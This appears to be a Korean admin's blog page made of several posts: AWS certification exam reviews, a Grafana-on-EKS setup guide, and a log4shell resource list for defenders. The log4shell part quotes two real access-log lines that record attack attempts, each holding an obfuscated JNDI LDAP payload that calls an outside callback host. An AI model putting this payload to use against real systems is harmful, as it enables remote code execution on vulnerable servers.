linuxer-admin

AWS Certified Data Analytics - Specialty - DAS-C01 - Review

Data Analytics 까지 시험을 봤습니다.

이 사태의 원인은 세웅님이었습니다.
치명적인 속도로 AWS 자격증을 클리어하는 것이 제가 나태한것 같이 느껴졌습니다.

그래서 MLS를 끝내고 DAS를 바로 시작했습니다.

DAS는 DBS-DAS-MLS 순으로 보면 좋은시험 같았습니다.

DAS는 주로 ETL 과 Analytics에 관련한 문제가 나옵니다.

https://jayendrapatil.com/aws-certified-data-analytics-specialty-das-c01-exam-learning-path/

제 블로그를 봐온 분들이라면 다들 아시겠지만 저는 jayendra 님의 블로그로 먼저 시험을 준비합니다. 도메인 분리도 잘되어있고, 요약정리가 정말 깔끔하기 때문입니다.

요약정리를 다 읽고 AWS에서 주로 사용할 서비스에 대한 이해가 필요합니다.

kinesis stream와 firehose 의 차이를 알면 정말 편해집니다.

firehose는 거의 실시간으로 동작하는 실은 1분마다 동작하는 batch 에 가깝습니다.

또 너무 비싸서 사용해볼수 없는 redshift는 경험을 쌓기 너무 어려우므로 docs가 닳도록 읽었습니다.

그외엔 사실 AWS에 익숙하다면 반쯤은 상식으로 먹고 들어가는 내용들이 많기때문에
-SAP를 취득하지 않았다면 먼저 취득하고 오십시오...(?) -
-DBS를 취득하지 않았다면 먼저 취득하고 오십시오...(?) -
아직 SAP가 없는 상태라면 SAP취득을 추천합니다.

실제로 시험은 모르는 내용이 아주 많았습니다.

하지만 풀수는 있었습니다. 샤딩이 뭔지 파티셔닝이 뭔지 ETL이 뭔지 등등 기본적인 개념들을 알고있다면 질문하는 의도와 정답을 알수있기 때문입니다.

예를 들어 stram 과 firehose 를 비교하게 되는 문제에서 실시간인지 거의 실시간인지만 파악할수 있다면 선택지를 하나를 줄일수 있게 되는것입니다. - 이것이 시험공학-

이번에 연습시험을 보려고 하니, 결제가 되지않았습니다. 바우처는 발급이 되었는데..

이젠 바우처를 사용하지 않아도 연습시험을 볼수있습니다.

AWS 에서 제공하는 무료 연습시험 모음집
11가지 시험의 연습문제를 제공해줍니다.

이렇게요!

DAS 연습문제를 각잡고 풀어본결과 70%가 나왔습니다.

시험은 미루지않는 것이 지론이고 떨어지면 칼을갈아서 다시 보면 되는거지만 벼랑끝에 매달린 심정으로 안되는 공부를 억지로 이어갔습니다.

그리고 오늘 오전일찍 시험을 봤습니다.

두구두구두구구두구 827점으로 통과.

그런데 이게 조금 아쉽긴 합니다. 만반의 준비를해서 시험이 수월하지않고, 요령으로 푼문제가 많아서 조금 아쉬웠습니다. 그렇지만 꼭 해내고 싶었고 자격증을 취득하였습니다.

2017년11월 부터 시작해서 2022년 1월까지의 장점이 마무리되었습니다.

제글을 읽어주셔서 감사합니다.

AWS Certified Machine Learning - Specialty - MLS-C01 - Review

오랜만의 자격증 글입니다.

최근에 책한권을 추천받았습니다.

기계학습을 다시묻다 라는 책이었습니다.
이광근 교수님의 번역에 대한 생각과 이해를 볼수있는 책이었습니다.

이 책을 읽으면서 너무너무너무너무 이해가 안갔습니다.
그 동안 머신러닝을 지속적으로 찍먹을 하던터라 읽을만 하지 않을까? 했는데 아니나 다를까 수포자에겐 자비가 없었습니다.

그렇지만, 근일년간 쿠버네티스와 머신러닝을 찍먹하면서 내가 머신러닝을 실무에 적용하고 쓸수있는 레벨은 아니지만 어떤기술이 어디서 사용된다 정도는 이해하고 있던터라 한번 과감하게 시험날자를 잡았습니다.

등급: Specialty
시간: 시험 완료까지 180분 소요
비용: 300 USD 

형식: 65개 문항, 다항 선택 또는 복수 응답
제공 방법: Pearson VUE 및 PSI. 테스트 센터 또는 온라인 유감독 시험

12월 24일 아침9 시 였습니다.

저의 시험의 시작은 보통 Jayendra 님의 블로그입니다.

https://explore.skillbuilder.aws/learn/course/external/view/elearning/27/exam-readiness-aws-certified-machine-learning-specialty

AWS에서 제공하는 연습시험 준비

https://docs.aws.amazon.com/ko_kr/sagemaker/latest/dg/algos.html

Sagemaker의 알고리즘표

기본적으로 AWS Docs/FAQ 찬찬히 여러번 읽는것부터 추천
저는 sagemaker의 핸즈온을 해본적이 있고, AWS에 익숙한 편이라 알고리즘 부분을 빼면 대부분 아주 수월하게 읽을 수 있었습니다.

jayendra 님의 정리된 내용이 너무 간결하고 좋아서 깊이있는 이해나 UI에서 어떤것들을 지원하는지 보면됩니다.

그리고 대망의 22일 연습시험을 봤습니다.

아아…그런건가 현대차.. - 주식 게시판 - 에펨코리아
 Jeong Taehwan님, 안녕하세요?
 AWS Certified Machine Learning - Specialty Practice 시험에 응시해 주셔서 감사합니다. 다음 정보를 살펴보고 준비가 더 필요한 주제를 확인하십시오.
총점: 55%
주제별 채점:
1.0  Data Engineering: 100%
2.0  Exploratory Data Analysis: 60%
3.0  Modeling: 25%
4.0  Machine Learning Implementation and Operations: 75%

아아..이것이 탈락의 느낌인가..

예..22일 연습시험이 55%로 너무 불안했습니다.

그리고 그 다음날은 약속도 있어서 예상한 만큼 공부를 할수있을지도 몰랐습니다.

그 약속의 감동

그 불안감이 점점 커져가며 저를 긴장하게 만들었고, 집중할수 없는 순간에도 알고리즘을 찾아보며, 내가 뭘모르는지를 이해하기 위해 힘썼습니다. 그리고 시험은 AWS 오프라인 시험을 봤습니다.

결과는!!

894점으로 합격할수 있었습니다.

AWS Certified Machine Learning - Specialty 배지

이로서 AWS의 10번째 자격증을 획득하였습니다.

읽어주셔서 감사합니다.

log4shell - url 정리

총평: log4shell 취약점이 있으면 해커가 서버에서 뭐든할수있게 되어서 랜섬부터 멀웨어까지 다양하고 참신한 공격이 가능

1 . "log4j2.formatMsgNoLookups"를 "true"로 설정

2. Log4j 2.15.0(https://logging.apache.org/log4j/2.x/download.html) 버전으로 업데이트

https://www.krcert.or.kr/data/secNoticeView.do?bulletin_writing_sequence=36389

대응방법 KISA

https://www.fastly.com/blog/digging-deeper-into-log4shell-0day-rce-exploit-found-in-log4j

패스틀리 링크

https://blog.cloudflare.com/cve-2021-44228-log4j-rce-0-day-mitigation/

클라우드플레어링크

https://www.pcmag.com/news/countless-serves-are-vulnerable-to-apache-log4j-zero-day-exploit

취약점 테스트방법

https://github.com/mwarnerblu/Log4ShellScanner

Log4shell Scanner

https://github.com/tangxiaofeng7/CVE-2021-44228-Apache-Log4j-Rce

취약점 점검 expolit

https://www.lunasec.io/docs/blog/log4j-zero-day/

curl 테스트방법

https://gist.github.com/nathanqthai/01808c569903f41a52e7e7b575caa890

로깅패턴

https://www.picussecurity.com/resource/blog/simulating-and-preventing-cve-2021-44228-apache-log4j-rce-exploits

로그에서 확인방법

https://github.com/YfryTchsGD/Log4jAttackSurface

대상제품리스트

https://aws.amazon.com/ko/security/security-bulletins/AWS-2021-005/?fbclid=IwAR1j7GAuBIbuh7HrlQJO-HTTKFjac7YYxvSWVh950CWiav2vO6AzSTI-S_0

AWS의 대응 WAF에 Managed rule이 추가

https://github.com/YfryTchsGD/Log4jAttackSurface

공격받은곳 리스트

https://github.com/christophetd/log4shell-vulnerable-app

동작샘플

블로그에 남은 공격로그

127.0.0.6 - - [12/Dec/2021:04:29:32 +0000] "GET /favicon.ico HTTP/1.1" 302 5 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}" "68.183.198.247"

127.0.0.6 - - [12/Dec/2021:04:29:33 +0000] "GET /wp-includes/images/w-logo-blue-white-bg.png HTTP/1.1" 200 4119 "-" "${jndi:${lower:l}${lower:d}a${lower:p}://world80.log4j.bin${upper:a}ryedge.io:80/callback}" "68.183.198.247"

EKS-prometheus-grafana

https://docs.aws.amazon.com/ko_kr/eks/latest/userguide/prometheus.html

먼저 프로메테우스를 설치한다.

cat << EOF | k apply -f -
 ---
 apiVersion: v1
 kind: PersistentVolumeClaim
 metadata:
   name: grafana-pvc
 spec:
   accessModes:
     - ReadWriteOnce
   resources:
     requests:
       storage: 1Gi
 ---
 apiVersion: apps/v1
 kind: Deployment
 metadata:
   labels:
     app: grafana
   name: grafana
 spec:
   selector:
     matchLabels:
       app: grafana
   template:
     metadata:
       labels:
         app: grafana
     spec:
       securityContext:
         fsGroup: 472
         supplementalGroups:
           - 0
       containers:
         - name: grafana
           image: grafana/grafana:7.5.2
           imagePullPolicy: IfNotPresent
           ports:
             - containerPort: 3000
               name: http-grafana
               protocol: TCP
           readinessProbe:
             failureThreshold: 3
             httpGet:
               path: /robots.txt
               port: 3000
               scheme: HTTP
             initialDelaySeconds: 10
             periodSeconds: 30
             successThreshold: 1
             timeoutSeconds: 2
           livenessProbe:
             failureThreshold: 3
             initialDelaySeconds: 30
             periodSeconds: 10
             successThreshold: 1
             tcpSocket:
               port: 3000
             timeoutSeconds: 1
           resources:
             requests:
               cpu: 250m
               memory: 750Mi
           volumeMounts:
             - mountPath: /var/lib/grafana
               name: grafana-pv
       volumes:
         - name: grafana-pv
           persistentVolumeClaim:
             claimName: grafana-pvc
 ---
 apiVersion: v1
 kind: Service
 metadata:
   name: grafana
 spec:
   ports:
     - port: 3000
       protocol: TCP
       targetPort: http-grafana
   selector:
     app: grafana
   sessionAffinity: None
   type: LoadBalancer
 EOF

https://grafana.com/docs/grafana/latest/installation/kubernetes/

설치는 위링크를 참조하고 grafana svc type 만 LoadBalancer 로 변경한다.

k get svc
NAME         TYPE           CLUSTER-IP       EXTERNAL-IP                                                                   PORT(S)          AGE
grafana      LoadBalancer   172.20.237.228   af7fa7486f6eb4ad4a6bde897210f4a9-206885623.ap-northeast-2.elb.amazonaws.com   3000:32317/TCP   32m

그라파나의 서비스가 다만들어지면 URL로 접근이 가능하다.

패스워드는 admin / admin 이다.

로그인후 할일은 data source 를 지정하는것이다. 우리는 prometheus 를 이용할것이다.

서비스이름/네임스페이스/svc:port 로 지정한다.

save & test 눌러서 잘되는지 확인하자.

그리고 dashboard를 import 하자.

https://grafana.com/grafana/dashboards/11074

많은 사람이 애용하는 dashboard를 사용할것이다. import 는 ID로 넣으면된다 이경우엔 11074 를 입력하자

VictoriaMetrics 를 프로메테우스로 지정하자. 그리고 Import 하면 대시보드가 뜬다.

대략 이런 대시보드가 자동으로 수집된다.

https://grafana.com/grafana/dashboards/13770

그라파나는 사람들이 만들어놓은 대시보드를 이용하기 쉽다.

그리고 node-exporter 로 만들어내는 매트릭리스트를 파악하여 원하는 지표를 사용할수 있다.

https://prometheus.io/docs/guides/node-exporter/

위URL을 참고해서 매트릭을 확인하여 보자.

예를 들어서 Dropped packet를 확인하려 한다면 다음 매트릭을 확인할수 있다.

읽어주셔서 감사하다!

올해의 가시다님 과의 스터디가 마무리되었다. 같이 EKS 스터디에 참여해주신분들께 감사를 드리며, 평안한 하루되시라!